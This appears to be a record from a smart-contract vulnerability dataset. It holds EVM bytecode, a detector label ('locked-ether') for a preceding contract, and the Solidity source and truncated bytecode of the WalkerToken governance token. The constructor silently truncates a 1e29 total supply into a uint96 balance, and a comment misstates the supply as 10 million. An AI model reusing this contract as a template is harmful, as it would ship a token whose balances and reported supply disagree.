452909152812055610dbe565b610d99818463ffffffff610ff716565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600060406044361015610e5157600080fd5b600160a060020a0384161515610e6657600080fd5b33600090815260016020526040902054831115610e8257600080fd5b33600090815260016020526040902054610ea2908463ffffffff610ff716565b3360009081526001602052604080822092909255600160a060020a03861681522054610ed4908463ffffffff610b2c16565b600160a060020a0385166000818152600160209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610f67908363ffffffff610b2c16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561100357fe5b509003905600a165627a7a72305820035f59e0b981f0f9e3ec408d8e3d65828ed6dcd1563e76a4cba52261982347a50029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,321 |
0xc90206ab21bdbf5e92aff4e6b5f097b65b0ecc06
|
/**
*Submitted for verification at Etherscan.io on 2020-10-06
*/
pragma solidity ^0.6.10;
pragma experimental ABIEncoderV2;
contract WalkerToken {
/// @notice EIP-20 token name for this token
string public constant name = "Walker";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "WLKRR";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 100000000000e18; // 10 million WLKRR
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Deploy WLKRR token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "WLKRR.approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "WLKRR.transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "WLKRR.approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "WLKRR.transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "WLKRR.delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "WLKRR.delegateBySig: invalid nonce");
require(now <= expiry, "WLKRR.delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "WLKRR.getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "WLKRR._transferTokens: cannot transfer from the zero address");
require(dst != address(0), "WLKRR._transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "WLKRR._transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "WLKRR._transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "WLKRR._moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "WLKRR._moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "WLKRR._writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b919061282f565b60405180910390f35b61015e6004803603810190610159919061214f565b61045c565b60405161016b919061272a565b60405180910390f35b61017c6105ee565b6040516101899190612911565b60405180910390f35b61019a6105ff565b6040516101a79190612745565b60405180910390f35b6101ca60048036038101906101c59190612100565b610616565b6040516101d7919061272a565b60405180910390f35b6101e86108a8565b6040516101f59190612970565b60405180910390f35b6102186004803603810190610213919061209b565b6108ad565b604051610225919061270f565b60405180910390f35b6102486004803603810190610243919061209b565b6108e0565b005b610264600480360381019061025f919061209b565b6108ed565b604051610271919061292c565b60405180910390f35b610294600480360381019061028f919061209b565b610910565b6040516102a19190612911565b60405180910390f35b6102c460048036038101906102bf919061214f565b61097f565b6040516102d191906129a6565b60405180910390f35b6102f460048036038101906102ef919061209b565b610d92565b6040516103019190612911565b60405180910390f35b610312610daa565b60405161031f919061282f565b60405180910390f35b610342600480360381019061033d919061214f565b610de3565b60405161034f919061272a565b60405180910390f35b610372600480360381019061036d919061209b565b610e20565b60405161037f91906129a6565b60405180910390f35b6103a2600480360381019061039d919061218b565b610f0e565b005b6103be60048036038101906103b991906120c4565b6111b1565b6040516103cb9190612911565b60405180910390f35b6103dc61125d565b6040516103e99190612745565b60405180910390f35b61040c60048036038101906104079190612214565b611274565b60405161041a929190612947565b60405180910390f35b6040518060400160405280600681526020017f57616c6b6572000000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612c61602591396112cd565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db919061298b565b60405180910390a3600191505092915050565b6c01431e0fae6d7217caa000000081565b60405161060b906126e5565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d885604051806060016040528060258152602001612c61602591396112cd565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088f57600061077c83836040518060600160405280603d8152602001612ba0603d913961132b565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610885919061298b565b60405180910390a3505b61089a87878361139c565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108ea338261177d565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906128d1565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a30576000915050610d8c565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3257600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8c565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb3576000915050610d8c565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0e576000600283830363ffffffff1681610be957fe5b0482039050610bf6612004565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce657806020015195505050505050610d8c565b86816000015163ffffffff161015610d0057819350610d07565b6001820392505b5050610bc1565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600581526020017f574c4b525200000000000000000000000000000000000000000000000000000081525081565b600080610e0883604051806060016040528060268152602001612c3b602691396112cd565b9050610e1533858361139c565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e8a576000610f06565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1c906126e5565b60405180910390206040518060400160405280600681526020017f57616c6b6572000000000000000000000000000000000000000000000000000081525080519060200120610f6961193d565b30604051602001610f7d94939291906127a5565b6040516020818303038152906040528051906020012090506000604051610fa3906126fa565b6040518091039020888888604051602001610fc19493929190612760565b60405160208183030381529060405280519060200120905060008282604051602001610fee9291906126ae565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161102b94939291906127ea565b6020604051602081039080840390855afa15801561104d573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c090612891565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f906128f1565b60405180910390fd5b8742111561119b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611192906128b1565b60405180910390fd5b6111a5818b61177d565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b604051611269906126fa565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611321576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611318919061282f565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611386919061282f565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140390612851565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390612871565b60405180910390fd5b6114f6600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612bdd6036913961132b565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115dd600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612cad6030913961194a565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a7919061298b565b60405180910390a3611778600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119c0565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119378284836119c0565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ab919061282f565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0a57506000816bffffffffffffffffffffffff16115b15611cb657600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b62576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aad576000611b29565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b508285604051806060016040528060288152602001612c136028913961132b565b9050611b5e86848484611cbb565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb5576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c00576000611c7c565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca38285604051806060016040528060278152602001612c866027913961194a565b9050611cb185848484611cbb565b5050505b5b505050565b6000611cdf43604051806060016040528060348152602001612b6c60349139611fae565b905060008463ffffffff16118015611d7457508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0f5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f57565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9f9291906129c1565b60405180910390a25050505050565b600064010000000083108290611ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff1919061282f565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061204181612af8565b92915050565b60008135905061205681612b0f565b92915050565b60008135905061206b81612b26565b92915050565b60008135905061208081612b3d565b92915050565b60008135905061209581612b54565b92915050565b6000602082840312156120ad57600080fd5b60006120bb84828501612032565b91505092915050565b600080604083850312156120d757600080fd5b60006120e585828601612032565b92505060206120f685828601612032565b9150509250929050565b60008060006060848603121561211557600080fd5b600061212386828701612032565b935050602061213486828701612032565b92505060406121458682870161205c565b9150509250925092565b6000806040838503121561216257600080fd5b600061217085828601612032565b92505060206121818582860161205c565b9150509250929050565b60008060008060008060c087890312156121a457600080fd5b60006121b289828a01612032565b96505060206121c389828a0161205c565b95505060406121d489828a0161205c565b94505060606121e589828a01612086565b93505060806121f689828a01612047565b92505060a061220789828a01612047565b9150509295509295509295565b6000806040838503121561222757600080fd5b600061223585828601612032565b925050602061224685828601612071565b9150509250929050565b61225981612a11565b82525050565b61226881612a23565b82525050565b61227781612a2f565b82525050565b61228e61228982612a2f565b612add565b82525050565b600061229f826129ea565b6122a981856129f5565b93506122b9818560208601612aaa565b6122c281612ae7565b840191505092915050565b60006122da603c836129f5565b91507f574c4b52522e5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612340600283612a06565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000612380603a836129f5565b91507f574c4b52522e5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b60006123e66026836129f5565b91507f574c4b52522e64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061244c604383612a06565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006124d86026836129f5565b91507f574c4b52522e64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061253e6027836129f5565b91507f574c4b52522e6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125a4603a83612a06565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b600061260a6022836129f5565b91507f574c4b52522e64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61266c81612a59565b82525050565b61267b81612a63565b82525050565b61268a81612a73565b82525050565b61269981612a98565b82525050565b6126a881612a80565b82525050565b60006126b982612333565b91506126c5828561227d565b6020820191506126d5828461227d565b6020820191508190509392505050565b60006126f08261243f565b9150819050919050565b600061270582612597565b9150819050919050565b60006020820190506127246000830184612250565b92915050565b600060208201905061273f600083018461225f565b92915050565b600060208201905061275a600083018461226e565b92915050565b6000608082019050612775600083018761226e565b6127826020830186612250565b61278f6040830185612663565b61279c6060830184612663565b95945050505050565b60006080820190506127ba600083018761226e565b6127c7602083018661226e565b6127d46040830185612663565b6127e16060830184612250565b95945050505050565b60006080820190506127ff600083018761226e565b61280c6020830186612681565b612819604083018561226e565b612826606083018461226e565b95945050505050565b600060208201905081810360008301526128498184612294565b905092915050565b6000602082019050818103600083015261286a816122cd565b9050919050565b6000602082019050818103600083015261288a81612373565b9050919050565b600060208201905081810360008301526128aa816123d9565b9050919050565b600060208201905081810360008301526128ca816124cb565b9050919050565b600060208201905081810360008301526128ea81612531565b9050919050565b6000602082019050818103600083015261290a816125fd565b9050919050565b60006020820190506129266000830184612663565b92915050565b60006020820190506129416000830184612672565b92915050565b600060408201905061295c6000830185612672565b612969602083018461269f565b9392505050565b60006020820190506129856000830184612681565b92915050565b60006020820190506129a06000830184612690565b92915050565b60006020820190506129bb600083018461269f565b92915050565b60006040820190506129d66000830185612690565b6129e36020830184612690565b9392505050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a1c82612a39565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612aa382612a80565b9050919050565b60005b83811015612ac8578082015181840152602081019050612aad565b83811115612ad7576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b0181612a11565b8114612b0c57600080fd5b50565b612b1881612a2f565b8114612b2357600